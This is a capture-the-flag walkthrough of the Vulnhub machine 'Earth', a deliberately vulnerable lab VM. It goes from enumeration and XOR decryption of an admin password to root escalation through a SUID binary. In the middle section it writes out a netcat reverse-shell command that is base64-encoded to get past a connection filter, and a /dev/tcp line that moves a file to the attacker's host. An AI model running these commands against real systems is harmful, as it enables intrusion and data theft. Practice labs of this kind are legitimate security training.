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Earth – The Planets – Vulnhub – Writeup

earth security vulnhub walkthrough writeup the planets

Earth is a CTF machine from Vulnhub created by SirFlash. This is the third machine from his series “The Planets” and the previous machine “Venus” was equally great. As the author said, the difficulty is subjective to the experience. And, for me, I had to take hints for the root privilege escalation. The machine works well on VirtualBox. “Earth – The Planets – Vulnhub – Writeup”

Link to the machine: https://www.vulnhub.com/entry/the-planets-earth,755/

Step 1: Identify the IP address

As usual, I started the enumeration by identifying the IP address of the target machine (because I use machines on headless mode to avoid disturbances).

┌──(kali㉿kali)-[~/vulnhub/earth]
└─$ fping -aqg 10.0.0.0/24
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.125

As we can see, the IP address of my machine is 10.0.0.4 and that of the target is 10.0.0.125.

Step 2: Scan open ports

Next, I scanned the open ports on the target.

┌──(kali㉿kali)-[~/vulnhub/earth]
└─$ nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.125
# Nmap 7.92 scan initiated Wed Dec 15 19:47:53 2021 as: nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.125
Nmap scan report for 10.0.0.125
Host is up (0.032s latency).
Not shown: 65209 filtered tcp ports (no-response), 323 filtered tcp ports (host-unreach)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey: 
|   256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA)
|_  256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 (ED25519)
80/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
|_http-title: Bad Request (400)
443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-title: Bad Request (400)
| ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
| Issuer: commonName=earth.local/stateOrProvinceName=Space
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-10-12T23:26:31
| Not valid after:  2031-10-10T23:26:31
| MD5:   4efa 65d2 1a9e 0718 4b54 41da 3712 f187
|_SHA-1: 04db 5b29 a33f 8076 f16b 8a1b 581d 6988 db25 7651
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
| tls-alpn: 
|_  http/1.1

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 15 19:53:47 2021 -- 1 IP address (1 host up) scanned in 353.64 seconds

From the SSL certificate, I found two hostnames.

443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-title: Bad Request (400)
| ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local

So, I added these on my /etc/hosts file.

10.0.0.125 	earth.local terratest.earth.local

Step 3: Enumerate the webserver

In the earth.local site, we have some encrypted messages that are signed with some keys.

The messages on the earth.local

Hence, we must identify the technique of the encryption. However, since we know it uses a message key, we have to identify it first.

This information is located in robots.txt of the terratest.earth.local website.

┌──(kali㉿kali)-[~/vulnhub/earth]
└─$ curl https://terratest.earth.local/robots.txt -k
User-Agent: *
# ... snip ... 
Disallow: /testingnotes.*

Here, we can see there is a “testingnotes.*” file. Since this is a note, I guessed it would be a .txt file.

┌──(kali㉿kali)-[~/vulnhub/earth]
└─$ curl https://terratest.earth.local/testingnotes.txt -k
Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

From the note, we can confirm that the encryption algorithm is XOR and the key might be from testdata.txt. Likewise, the username for the admin portal is terra. Also, the admin portal is /admin on the other website.

┌──(kali㉿kali)-[~/vulnhub/earth]
└─$ curl https://terratest.earth.local/testdata.txt -k    
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

With this information, I opened CyberChef and searched for XOR. I put the above text in the key part of CyberChef with UTF-8 input. The following message gave me the possible password of the user terra.

24021...redacted...0a0e5a
The password of the user terra

With the password, I logged in earth.local/admin portal that gives us a CLI input.

The logged-in dashboard

When I try to spawn a reverse shell, it says that remote connections are forbidden. This is because I used an IP address. Thus, we can bypass this by converting it to its decimal notation. Or, we can encode the command in the base64 format.

┌──(kali㉿kali)-[~/vulnhub/earth]
└─$ echo 'nc -e /bin/bash 10.0.0.4 9001' | base64
bmMgLWUgL2Jpbi9iYXNoIDEwLjAuMC40IDkwMDEK

Next, I listened on the port 9001.

┌──(kali㉿kali)-[~/vulnhub/earth]
└─$ nc -nlvp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001

After this, I could use the base64 payload to spawn the reverse shell as follows.

echo bmMgLWUgL2Jpbi9iYXNoIDEwLjAuMC40IDkwMDEK | base64 -d | bash
┌──(kali㉿kali)-[~/vulnhub/earth]
└─$ nc -nlvp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.125.
Ncat: Connection from 10.0.0.125:48794.
id
uid=48(apache) gid=48(apache) groups=48(apache)

We have to upgrade the shell after this.

Upgrade to an intelligent reverse shell

Step 4: Root privilege escalation

Once I had a proper shell, I checked for the SUID binaries.

bash-5.1$ find / -perm -u=s 2>/dev/null
# ... snip ...
/usr/bin/reset_root
# ... snip ...

When I checked the strings, I saw that it would change the password of the user root.

bash-5.1$ strings /usr/bin/reset_root 
/lib64/ld-linux-x86-64.so.2
setuid
puts
system
access
__libc_start_main
libc.so.6
GLIBC_2.2.5
__gmon_start__
H=@@@
paleblueH
]\UH
credentiH
als rootH
:theEartH
hisflat
[]A\A]A^A_
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth
/usr/bin/echo 'root:Earth' | /usr/sbin/chpasswd
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
;*3$"
# ... snip ...
puts@GLIBC_2.2.5
_edata
system@GLIBC_2.2.5
__libc_start_main@GLIBC_2.2.5
magic_cipher
# ... snip ...
main
access@GLIBC_2.2.5
__TMC_END__
setuid@GLIBC_2.2.5
# ... snip ...

However, when I ran the script, I got the message RESET FAILED, … Thus, I copied the binary to my local machine.

nc -nlvp 9002 > reset_root
cat /usr/bin/reset_root > /dev/tcp/10.0.0.4/9002

Next, I gave it the executable permission.

chmod +x reset_root

The other thing I did was reverse engineer the code.

The snip of codeblock

As we can see, there is a function magic_cipher. Likewise, the password change operation only occurs when three conditions are met. So, we can use ltrace binary to trace the library calls of an ELF binary.

┌──(kali㉿kali)-[~/vulnhub/earth]
└─$ ltrace ./reset_root
puts("CHECKING IF RESET TRIGGERS PRESE"...CHECKING IF RESET TRIGGERS PRESENT...
)                                                             = 38
access("/dev/shm/kHgTFI5G", 0)                                                                          = -1
access("/dev/shm/Zw7bV9U5", 0)                                                                          = -1
access("/tmp/kcM0Wewe", 0)                                                                              = -1
puts("RESET FAILED, ALL TRIGGERS ARE N"...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
)                                                             = 44
+++ exited (status 0) +++

From the output, we should make that three files on the shown locations should be present to run the trigger. Therefore, I created those files on the target. Lastly, when I ran the binary, it changed the password of the root.

bash-5.1$ touch /dev/shm/kHgTFI5G /dev/shm/Zw7bV9U5 /tmp/kcM0Wewe
bash-5.1$ reset_root 
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth
bash-5.1$ su -l
Password: 
[root@earth ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@earth ~]#

Also read: Writeup of Titan from HackMyVM – Walkthrough

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